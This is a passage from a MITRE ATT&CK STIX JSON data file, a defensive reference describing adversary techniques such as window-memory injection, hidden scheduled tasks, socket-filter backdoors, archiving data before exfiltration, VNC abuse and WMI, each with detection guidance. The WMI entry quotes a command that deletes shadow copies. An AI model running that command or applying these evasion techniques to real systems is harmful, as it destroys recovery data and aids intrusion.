defenses.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"command-and-control"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-tactic--ffd5bcee-6e16-4dd2-8eca-7b3beedf33ca","type":"x-mitre-tactic","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"TA0001","url":"https://attack.mitre.org/tactics/TA0001","source_name":"mitre-attack"}],"modified":"2019-07-19T17:41:41.425Z","name":"Initial Access","description":"The adversary is trying to get into your network.\n\nInitial Access consists of techniques that use various entry vectors to gain their initial foothold within a network. Techniques used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers. Footholds gained through initial access may allow for continued access, like valid accounts and use of external remote services, or may be limited-use due to changing passwords.","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_shortname":"initial-access"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298","type":"attack-pattern","created":"2020-01-14T17:18:32.126Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.011","url":"https://attack.mitre.org/techniques/T1055/011"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx","description":"Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.","source_name":"Microsoft Window Classes"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx","description":"Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft GetWindowLong function"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx","description":"Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft SetWindowLong function"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","source_name":"MalwareTech Power Loader Aug 2013"},{"url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","source_name":"WeLiveSecurity Gapz and Redyms Mar 2013"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx","description":"Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.","source_name":"Microsoft SendNotifyMessage function"}],"modified":"2020-11-10T18:29:31.004Z","name":"Extra Window Memory Injection","description":"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"modified":"2024-10-13T16:13:47.770Z","name":"Scheduled Task","description":"Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Andrew Northern, @ex_raritas","Bryan Campbell, @bry_campbell","Zachary Abzug, @ZackDoesML","Selena Larson, @selenalarson","Sittikorn Sangrattanapitak"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.6","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","File: File Modification","File: File Creation","Process: Process Creation","Command: Command Execution","Network Traffic: Network Traffic Flow","Scheduled Job: Scheduled Job Creation"],"x_mitre_permissions_required":["Administrator"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","created":"2019-11-27T14:58:00.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1053/005","external_id":"T1053.005"},{"source_name":"ProofPoint Serpent","description":"Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain"},{"source_name":"Defending Against Scheduled Task Attacks in Windows Environments","description":"Harshal Tupsamudre. (2022, June 20). Defending Against Scheduled Tasks. Retrieved July 5, 2022.","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments"},{"source_name":"Twitter Leoloobeek Scheduled Task","description":"Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.","url":"https://x.com/leoloobeek/status/939248813465853953"},{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"},{"source_name":"Microsoft Scheduled Task Events Win10","description":"Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"},{"source_name":"TechNet Scheduled Task Events","description":"Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.","url":"https://technet.microsoft.com/library/dd315590.aspx"},{"source_name":"Red Canary - Atomic Red Team","description":"Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"},{"source_name":"TechNet Forum Scheduled Task Operational Setting","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"},{"source_name":"SigmaHQ","description":"Sittikorn S. (2022, April 15). Removal Of SD Value to Hide Schedule Task - Registry. Retrieved June 1, 2022.","url":"https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_sd_value_removal.yml"},{"source_name":"Stack Overflow","description":"Stack Overflow. (n.d.). How to find the location of the Scheduled Tasks folder. Retrieved June 19, 2024.","url":"https://stackoverflow.com/questions/2913816/how-to-find-the-location-of-the-scheduled-tasks-folder"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-20T19:56:18.579Z","name":"Socket Filters","description":"Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020)\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Tim (Wadhwa-)Brown","CrowdStrike"],"x_mitre_data_sources":["Process: Process Creation","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520","created":"2022-09-30T21:18:41.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1205/002","external_id":"T1205.002"},{"source_name":"exatrack bpf filters passive backdoors","description":"ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.","url":"https://exatrack.com/public/Tricephalic_Hellkeeper.pdf"},{"source_name":"crowdstrike bpf socket filters","description":"Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.","url":"https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/"},{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"},{"source_name":"haking9 libpcap network sniffing","description":"Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.","url":"http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6","type":"attack-pattern","created":"2017-05-31T21:30:54.176Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1066","external_id":"T1066"}],"modified":"2020-03-20T15:22:53.835Z","name":"Indicator Removal from Tools","description":"If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Log analysis","Host intrusion prevention systems","Anti-virus"],"x_mitre_is_subtechnique":false},{"modified":"2023-09-15T19:02:53.995Z","name":"Archive via Utility","description":"Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Mayan Arora aka Mayan Mohan","Mark Wee"],"x_mitre_deprecated":false,"x_mitre_detection":"Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","created":"2020-02-20T21:01:25.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1560/001","external_id":"T1560.001"},{"source_name":"WinRAR Homepage","description":"A. Roshal. (2020). RARLAB. Retrieved February 20, 2020.","url":"https://www.rarlab.com/"},{"source_name":"WinZip Homepage","description":"Corel Corporation. (2020). WinZip. Retrieved February 20, 2020.","url":"https://www.winzip.com/win/en/"},{"source_name":"7zip Homepage","description":"I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.","url":"https://www.7-zip.org/"},{"source_name":"diantz.exe_lolbas","description":"Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021.","url":"https://lolbas-project.github.io/lolbas/Binaries/Diantz/"},{"source_name":"Wikipedia File Header Signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","url":"https://en.wikipedia.org/wiki/List_of_file_signatures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:20:07.264Z","name":"VNC","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer’s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system's authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC.\n\nOn macOS systems log show --predicate 'process = \"screensharingd\" and eventMessage contains \"Authentication:\"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMonitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Logon Session: Logon Session Creation","Network Traffic: Network Connection Creation"],"x_mitre_system_requirements":["VNC server installed and listening for connections."],"type":"attack-pattern","id":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","created":"2020-02-11T18:28:44.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/005","external_id":"T1021.005"},{"source_name":"Attacking VNC Servers PentestLab","description":"Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.","url":"https://pentestlab.blog/2012/10/30/attacking-vnc-servers/"},{"source_name":"MacOS VNC software for Remote Desktop","description":"Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.","url":"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac"},{"source_name":"Havana authentication bug","description":"Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved September 12, 2024.","url":"https://lists.openstack.org/pipermail/openstack/2013-December/004138.html"},{"source_name":"macOS root VNC login without authentication","description":"Nick Miles. (2017, November 30). Detecting macOS High Sierra root account without authentication. Retrieved September 20, 2021.","url":"https://www.tenable.com/blog/detecting-macos-high-sierra-root-account-without-authentication"},{"source_name":"Offensive Security VNC Authentication Check","description":"Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.","url":"https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/"},{"source_name":"Gnome Remote Desktop grd-settings","description":"Pascal Nowack. (n.d.). Retrieved September 21, 2021.","url":"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207"},{"source_name":"Gnome Remote Desktop gschema","description":"Pascal Nowack. (n.d.). Retrieved September 21, 2021.","url":"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in"},{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021.","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"},{"source_name":"VNC Vulnerabilities","description":"Sergiu Gatlan. (2019, November 22). Dozens of VNC Vulnerabilities Found in Linux, Windows Solutions. Retrieved September 20, 2021.","url":"https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/"},{"source_name":"The Remote Framebuffer Protocol","description":"T. Richardson, J. Levine, RealVNC Ltd.. (2011, March). The Remote Framebuffer Protocol. Retrieved September 20, 2021.","url":"https://datatracker.ietf.org/doc/html/rfc6143#section-7.2.2"},{"source_name":"VNC Authentication","description":"Tegan. (2019, August 15). Setting up System Authentication. Retrieved September 20, 2021.","url":"https://help.realvnc.com/hc/en-us/articles/360002250097-Setting-up-System-Authentication"},{"source_name":"Hijacking VNC","description":"Z3RO. (2019, March 10). Day 70: Hijacking VNC (Enum, Brute, Access and Crack). Retrieved September 20, 2021.","url":"https://int0x33.medium.com/day-70-hijacking-vnc-enum-brute-access-and-crack-d3d18a4601cc"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:20:57.328Z","name":"Windows Management Instrumentation","description":"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["@ionstorm","Olaf Hartong, Falcon Force","Tristan Madani"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Process: Process Creation","WMI: WMI Creation","Command: Command Execution"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","created":"2017-05-31T21:30:44.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1047","external_id":"T1047"},{"source_name":"FireEye WMI 2015","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"},{"source_name":"Mandiant WMI","description":"Mandiant. (n.d.). Retrieved February 13, 2024.","url":"https://www.mandiant.com/resources/reports"},{"source_name":"WMI 6","description":"Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 